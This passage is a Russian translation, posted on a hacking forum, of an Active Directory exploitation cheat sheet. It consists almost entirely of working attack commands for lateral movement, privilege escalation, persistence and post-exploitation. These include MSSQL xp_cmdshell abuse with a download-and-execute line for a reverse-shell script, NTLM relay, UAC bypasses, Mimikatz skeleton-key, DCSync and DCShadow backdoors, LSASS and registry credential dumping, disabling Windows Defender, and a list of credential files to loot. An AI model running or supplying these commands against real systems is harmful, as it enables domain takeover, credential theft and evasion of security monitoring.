Затем используйте Rubeus, чтобы запросить у TGS, например службу CIFS на целевом контроллере домена с помощью этого TGT.

.\Rubeus.exe asktgs /ticket:c:\ad\tools\eucorp-tgt.kirbi /service:CIFS/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt

Теперь мы можем использовать службу CIFS на контроллере домена целевого леса в качестве DA нашего исходного домена (опять же, если это доверие настроено для существования).

Злоупотребление базами данных MSSQL для бокового перемещения

Базы данных MSSQL могут быть связаны, так что, если вы скомпрометируете одну, вы сможете выполнять запросы (или даже команды ОС!) в других базах данных в контексте определенного пользователя (например, может быть?). Если это настроено, его можно использовать даже для пересечения границ леса! Если мы можем выполнят SQL, мы можем использовать следующие команды для получения ссылок на базу данных.

-- Find linked servers
EXEC sp_linkedservers

-- Run SQL query on linked server
select mylogin from openquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')

-- Enable 'xp_cmdshell' on remote server and execute commands, only works if RPC is enabled
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVER
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVER
EXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER

Мы также можем использовать PowerUpSQL (https://github.com/NetSPI/PowerUpSQL) для поиска баз данных в домене и сбора дополнительной информации о (доступных) базах данных. Мы также можем автоматически искать и выполнять запросы или команды в связанных базах данных (даже через несколько уровней ссылок на базы данных).

# Get MSSQL databases in the domain, and test connectivity
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft

# Try to get information on all domain databases
Get-SQLInstanceDomain | Get-SQLServerInfo

# Get information on a single reachable database
Get-SQLServerInfo -Instance TARGETSERVER

# Scan for MSSQL misconfigurations to escalate to SA
Invoke-SQLAudit -Verbose -Instance TARGETSERVER

# Execute SQL query
Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER

# Run command (enables XP_CMDSHELL automatically if required)
Invoke-SQLOSCmd -Instance TARGETSERVER -Command "whoami" | select -ExpandProperty CommandResults

# Automatically find all linked databases
Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft

# Run command if XP_CMDSHELL is enabled on any of the linked databases
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft

Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1'')"' | select instance,links,customquery | ft

Если у вас есть доступ с низким уровнем привилегий к базе данных MSSQL и отсутствуют ссылки, вы потенциально можете принудительно выполнить проверку подлинности NTLM, используя хранимую процедуру xp_dirtree для доступа к этому общему ресурсу. Если это удастся, NetNTLM для учетной записи службы SQL может быть собран и потенциально взломан или ретранслирован на скомпрометированные компьютеры в качестве этой учетной записи службы.

EXEC master..xp_dirtree "\\192.168.49.67\share"

Пример команды для передачи хэша для аутентификации в качестве локального администратора (если у учетной записи службы есть такие привилегии) и запуска calc.exe. Опустите параметр -c, чтобы вместо этого попытаться выполнить secretsdump.

sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.67.6 -c 'calc.exe'

Злоупотребление объектами групповой политики для бокового перемещения

Если мы определим, что у нас есть разрешения на редактирование и связывание новых объектов групповой политики (GPO) в домене (см. "Перечисление AD с помощью PowerView" (https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#ad-enumeration-with-powerview)), мы можем злоупотребить этими привилегиями, чтобы перейти к другим машинам.

Например, мы можем использовать законные инструменты удаленного администрирования системы (RSAT) для Windows (https://docs.microsoft.com/en-us/tr...components/remote-server-administration-tools), чтобы создать новый объект групповой политики, связать его с целью и развернуть ключ запуска реестра, чтобы добавить команду, которая будет выполняться автоматически при следующей загрузке машины.

# Create a new GPO and link it to the target server
New-GPO -Name 'Totally Legit GPO' | New-GPLink -Target 'OU=TargetComputer,OU=Workstations,DC=TargetDomain,DC=com'

# Link an existing GPO to another target server
New-GPLink -Target 'OU=TargetComputer2,OU=Workstations,DC=TargetDomain,DC=com' -Name 'Totally Legit GPO'

# Deploy a registry runkey via the GPO
Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.exe' -Type ExpandString

Мы также можем использовать SharpGPOAbuse (https://github.com/FSecureLABS/SharpGPOAbuse) для немедленного развертывания запланированной задачи, которая будет запускаться при каждом обновлении групповой политики (по умолчанию каждые 1-2 часа). SharpGPOABuse не создает собственных объектов GPO, поэтому сначала нам нужно выполнить команды для создания и связывания GPO, перечисленные выше. После этого мы можем запустить SharpGPOAbuse, чтобы развернуть немедленную задачу.

SharpGPOAbuse.exe --AddComputerTask --TaskName "Microsoft LEGITIMATE Hotfix" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c start calc.exe" --GPOName "Totally Legit GPO"

Повышение привилегий

Чтобы узнать больше о том, что нужно искать (как для Windows, так и для Linux), обратитесь к моей шпаргалке OSCP и справочнику по командам. (https://cas.vancooten.com/posts/2020/05/oscp-cheat-sheet-and-command-reference/)

PowerUp

# Check for vulnerable programs and configs
Invoke-AllChecks

# Exploit vulnerable service permissions (does not require touching disk)
Invoke-ServiceAbuse -Name "VulnerableSvc" -Command "net localgroup Administrators DOMAIN\user /add"

# Exploit an unquoted service path vulnerability to spawn a beacon
Write-ServiceBinary -Name 'VulnerableSvc' -Command 'c:\windows\system32\rundll32 c:\Users\Public\beacon.dll,Update' -Path 'C:\Program Files\VulnerableSvc'

# Restart the service to exploit (not always required)
net.exe stop VulnerableSvc
net.exe start VulnerableSvc

Обход контроля учетных записей

Использование SharpBypassUAC. (https://github.com/FatRodzianko/SharpBypassUAC)

# Generate EncodedCommand
echo -n 'cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update' | base64

# Use SharpBypassUAC e.g. from a CobaltStrike beacon
beacon> execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==

В некоторых случаях вам может быть проще запустить ручной обход UAC, такой как обход FODHelper, который довольно просто выполнить в PowerShell.

# The command to execute in high integrity context
$cmd = "cmd /c start powershell.exe"

# Set the registry values
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force

# Trigger fodhelper to perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

# Clean registry
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Персистенс

Папка автозагрузки


Просто скиньте бинарник. Классическа.

В папке текущего пользователя он сработает, когда текущий пользователь войдет в систему:

c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Или в глобальной папке автозагрузки, требует прав администратора, но будет запускаться с правами SYSTEM при загрузке и в контексте пользователя всякий раз, когда любой пользователь входит в систему:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Постоянство в домене

Должен запускаться с привилегиями DA.

Атака Скелетон Ки Mimikatz

Бегите из ДС. Включите пароль "mimikatz" для всех пользователей.

privilege::debug
misc::skeleton

Предоставьте определенным пользователям права DCSync с помощью PowerView

Предоставляет пользователю по вашему выбору права на DCSync в любое время. Может избежать обнаружения в некоторых настройках.

Add-ObjectACL -TargetDistinguishedName "dc=targetdomain,dc=com" -PrincipalSamAccountName BackdoorUser -Rights DCSync

Администратор DSRM контроллера домена

Администратор DSRM — это учетная запись локального администратора контроллера домена. Сначала необходимо включить удаленный вход.

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

Теперь мы можем удаленно войти в систему, используя хэш локального администратора, сброшенный на контроллер домена ранее (с помощью lsadump::sam, см. "Сброс секретов с помощью Mimikatz" ниже (https://casvancooten.com/posts/2020...mand-reference/#dumping-secrets-with-mimikatz)). Используйте, например "overpass-the-hash", чтобы получить сеанс (см. "Mimikatz" выше (https://casvancooten.com/posts/2020...n-cheat-sheet-and-command-reference/#mimikatz)).

Изменение дескрипторов безопасности для удаленного доступа к WMI

Предоставьте пользователю WMI-доступ к машине с помощью командлета Set-RemoteWMI (https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1) от Nishang. Можно запустить, чтобы сохранить доступ.

Set-RemoteWMI -UserName BackdoorUser -ComputerName dc.targetdomain.com -namespace 'root\cimv2'

Информацию о выполнении см. выше в разделе "Выполнение команд с помощью WMI". (https://casvancooten.com/posts/2020...command-reference/#command-execution-with-wmi)

Изменение дескрипторов безопасности для удаленного доступа PowerShell

Предоставьте пользователю PowerShell Remoting доступ к машине с помощью командлета Set-RemotePSRemoting.ps1 (https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemotePSRemoting.ps1) от Nishang. Можно запустить, чтобы сохранить доступ, например. ДЦ.

Set-RemoteWMI -UserName BackdoorUser -ComputerName dc.targetdomain.com -namespace 'root\cimv2'

Сведения о выполнении см. в разделе "Выполнение команд с помощью PowerShell Remoting" выше. (https://casvancooten.com/posts/2020...ce/#command-executin-with-powershell-remoting)

Изменение дескрипторов безопасности реестра DC для удаленного извлечения хэша с помощью DAMP

Используя инструментарий DAMP, мы можем сделать бэкдор в реестре DC, чтобы получить доступ к кустам реестра SAM, SYSTEM и SECURITY. Это позволяет нам удаленно выгружать секреты DC (хэши).

Добавляем бэкдор с помощью командлета Add-RemoteRegBackdoor.ps1 из DAMP.

Add-RemoteRegBackdoor -ComputerName dc.targetdomain.com -Trustee BackdoorUser

Удаленный дамп секретов с помощью командлета RemoteHashRetrieval.ps1 из DAMP (запускается от имени пользователя BackdoorUser).

# Get machine account hash for silver ticket attack
Get-RemoteMachineAccountHash -ComputerName DC01

# Get local account hashes
Get-RemoteLocalAccountHash -ComputerName DC01

# Get cached credentials (if any)
Get-RemoteCachedCredential -ComputerName DC01

DCShadow

DCShadow — это атака, которая маскирует определенные действия, временно имитируя контроллер домена. Если у вас есть права администратора домена или администратора предприятия в корневом домене, их можно использовать для сохраняемости на уровне леса.

При необходимости в качестве администратора домена предоставьте выбранному пользователю привилегии, необходимые для атаки DCShadow (используется командлет Set-DCShadowPermissions.ps1).

Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose

Затем с любой машины используйте Mimikatz для проведения атаки DCShadow.

# Set SPN for user
lsadump::dcshadow /object:targetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"

# Set SID History for user (effectively granting them Enterprise Admin rights)
lsadump::dcshadow /object:targetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519

# Set Full Control permissions on AdminSDHolder container for user
## Requires retrieval of current ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl

## Then get target user SID:
Get-NetUser -UserName BackdoorUser | select objectsid

## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-1874506631-3219952063-538504511-45109]])

Наконец, либо из сеанса DA, либо из сеанса, поскольку пользователь ранее предоставил разрешения DCShadow, запустите атаку DCShadow. Действия, поставленные ранее, будут выполняться без ведения журналов.

lsadump::dcshadow /push

Постэксплуатация

LSASS-защита


Иногда LSASS настраивается для работы в качестве защищенного процесса (PPL). Вы можете запросить это с помощью PowerShell следующим образом.

Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"

Если это так, вы не можете просто сбросить или разобрать LSASS, и вам нужно отключить защиту с помощью чего-то вроде mimidrv.sys. Я не буду обсуждать, как это сделать здесь, но есть такие инструменты, как PPLDump (https://github.com/itm4n/PPLdump), которые могут помочь.

Дамп учетных данных ОС с помощью Mimikatz

# Dump logon passwords
sekurlsa::logonpasswords

# Dump all domain hashes from a DC
## Note: Everything with /patch is noisy as heck since it writes to LSASS 🚩
lsadump::lsa /patch

# Dump only local users
lsadump::sam

# DCSync (requires 'ldap' SPN)
lsadump::dcsync /user:DOMAIN\krbtgt /domain:targetdomain.com

# Dump Windows secrets, such as stored creds for scheduled tasks (elevate first) 🚩
vault::list
vault::cred /patch

# Dump Kerberos encryption keys, including the AES256 key for better opsec (see 'Lateral Movement with Rubeus' section)
sekurlsa::ekeys

Злоупотребление API защиты данных (DPAPI) с помощью Mimikatz

Mimikatz имеет довольно много функций для доступа к DPAPI Windows, который используется для шифрования многих учетных данных, в том числе пароли браузера.

Обратите внимание, что Mimikatz автоматически кэширует мастер-ключи, которые он видел (проверьте кэш с помощью dpapi::cache), но это НЕ сработает, если сеанс Mimikatz не сохраняется (например, в Cobalt Strike или при использовании Invoke-Mimikatz). Более подробная информация об использовании Mimikatz для DPAPI доступна здесь (https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials).

# Find the IDs of protected secrets for a specific user
dir C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials

# Get information, including the used master key ID, from a specific secret (take the path from above)
dpapi::cred /in:C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3

# IF YOU ARE PRIVILEGED
# Dump all master keys from the current system
sekurlsa::dpapi

# IF YOU ARE NOT PRIVILEGED (session as target user required)
# Get the master key from the domain using RPC (the path contains the user SID, and then the ID of the masterkey identified in the previous step)
dpapi::masterkey /rpc /in:C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Protect\S-1-5-21-3865823697-1816233505-1834004910-1124\dd89dddf-946b-4a80-9fd3-7f03ebd41ff4

# Decrypt the secret using the retrieved master key
# Alternatively, leave out /masterkey and add /unprotect to decrypt the secret using the cached master key (see above for caveats)
dpapi::cred /in:C:\Users\[USERNAME]]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3 /masterkey:91721d8b1ec[...]e0f02c3e44deece5f318ad

Дамп секретов без Mimikatz

Мы также можем анализировать системные секреты, не используя Mimikatz напрямую в целевой системе.

Дамп LSASS

Предпочтительный способ запустить Mimikatz — сделать это локально с копией памяти LSASS из целевого объекта. Для дампа памяти LSASS можно использовать Dumpert( https://github.com/outflanknl/Dumpert), Procdump (https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) или другие (специальные) инструменты.

# Dump LSASS memory through a process snapshot (-r), avoiding interacting with it directly
.\procdump.exe -r -ma lsass.exe lsass.dmp

После загрузки файла дампа памяти в нашей атакующей системе мы можем запустить Mimikatz и переключиться в режим "Minidump", чтобы проанализировать файл следующим образом. После этого мы можем запускать команды Mimikatz для получения учетных данных, как обычно.


sekurlsa::minidump lsass.dmp

Дамп секретов из реестра

Мы можем вывести секреты из реестра и проанализировать файлы "в автономном режиме", чтобы получить список системных секретов.

На целевой машине запускаем следующее:

reg.exe save hklm\sam c:\users\public\downloads\sam.save
reg.exe save hklm\system c:\users\public\downloads\system.save
reg.exe save hklm\security c:\users\public\downloads\security.save

Затем на нашей атакующей машине мы можем сбросить секреты с помощью Impacket:

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL > secrets.out

Дамп секретов из теневой копии тома

Мы также можем создать "теневую копию тома" файлов SAM и SYSTEM (которые всегда заблокированы в текущей системе), поэтому мы все еще можем копировать их в нашу локальную систему. Для этого требуется повысить привилегии.

wmic shadowcopy call create Volume='C:\'
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\public\sam.save
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\public\system.save

Обход Защитника Windows

Примечание. Все приведенные ниже команды требуют прав администратора в системе!

Вы можете запросить исключения Защитника с помощью PowerShell. Если он возвращает какие-либо исключенные пути, просто запустите свою вредоносную программу оттуда!

Get-MpPreference | select-object -ExpandProperty ExclusionPath

Кроме того, вы можете добавить каталог исключения для своих теневых вещей.

Add-MpPreference -ExclusionPath "C:\Users\Public\Downloads\SuperLegitDownloadDirectory"

Если вы более агрессивны, вы можете полностью отключить Защитника. Само собой разумеется, что отключение продуктов AV/EDR на практике никогда не является хорошей идеей, лучше вместо этого обойти это.

# Disable realtime monitoring altogether
Set-MpPreference -DisableRealtimeMonitoring $true

# Only disables scanning for downloaded files or attachments
Set-MpPreference -DisableIOAVProtection $true

В качестве альтернативы отключению Защитника вы можете оставить его включенным и просто удалить из него все сигнатуры вирусов.

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Chisel proxying

Если вам нужно проксировать трафик через скомпрометированную машину Windows, хорошим выбором будет Chisel (https://github.com/jpillora/chisel)

(или SharpChisel https://github.com/shantanu561993/SharpChisel)). Chisel позволяет переадресовывать порты, но мой любимый метод — настройка обратного SOCKS-прокси на целевой машине, что позволяет вам туннелировать любой трафик через целевую систему.

На нашей атакующей машине (в данном случае Linux) мы запускаем сервер Chisel на порту 80 в обратном режиме SOCKS5.

sudo ./chisel server -p 80 --reverse --socks5

Затем на нашей скомпрометированной целевой системе мы подключаемся к этому серверу и говорим ему проксировать весь трафик через него через обратный туннель SOCKS5.

.\chisel.exe client 192.168.49.67:80 R:socks

Прокси теперь открыт на порту 1080 нашей Linux-машины. Теперь мы можем использовать, например. ProxyChains для туннелирования через целевую систему.

Вкусные файлики

Есть много файлов, которые могут содержать интересную информацию. Такие инструменты, как WinPEAS( https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS), или наборы, такие как PowerSploit (https://github.com/PowerShellMafia/PowerSploit), могут помочь в идентификации важных файлов (для privesc или пост-эксплуатации).

Ниже приведен список некоторых файлов, которые, по моему мнению, могут иметь значение. Проверяйте файлы на основе программ и/или служб, установленных на машине.

Кроме того, не забудьте поулчить любые локальные базы данных с помощью sqlcmd или Invoke-SqlCmd!

# All user folders
## Limit this command if there are too many files ;)
tree /f /a C:\Users

# Web.config
C:\inetpub\www\*\web.config

# Unattend files
C:\Windows\Panther\Unattend.xml

# RDP config files
C:\ProgramData\Configs\

# Powershell scripts/config files
C:\Program Files\Windows PowerShell\

# PuTTy config
C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty

# FileZilla creds
C:\Users\[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml

# Jenkins creds (also check out the Windows vault, see above)
C:\Program Files\Jenkins\credentials.xml

# WLAN profiles
C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml

# TightVNC password (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts)
Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -Name "Password" | select -ExpandProperty Password

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://casvancooten.com/posts/2020...ploitation-cheat-sheet-and-command-reference/
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх